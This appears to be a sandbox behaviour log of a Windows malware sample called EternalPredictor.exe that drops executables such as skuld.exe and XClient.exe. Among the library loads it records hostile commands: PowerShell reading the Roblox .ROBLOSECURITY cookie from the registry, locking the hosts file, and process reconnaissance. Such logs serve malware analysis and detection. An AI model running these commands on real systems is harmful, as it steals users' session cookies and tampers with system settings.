Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
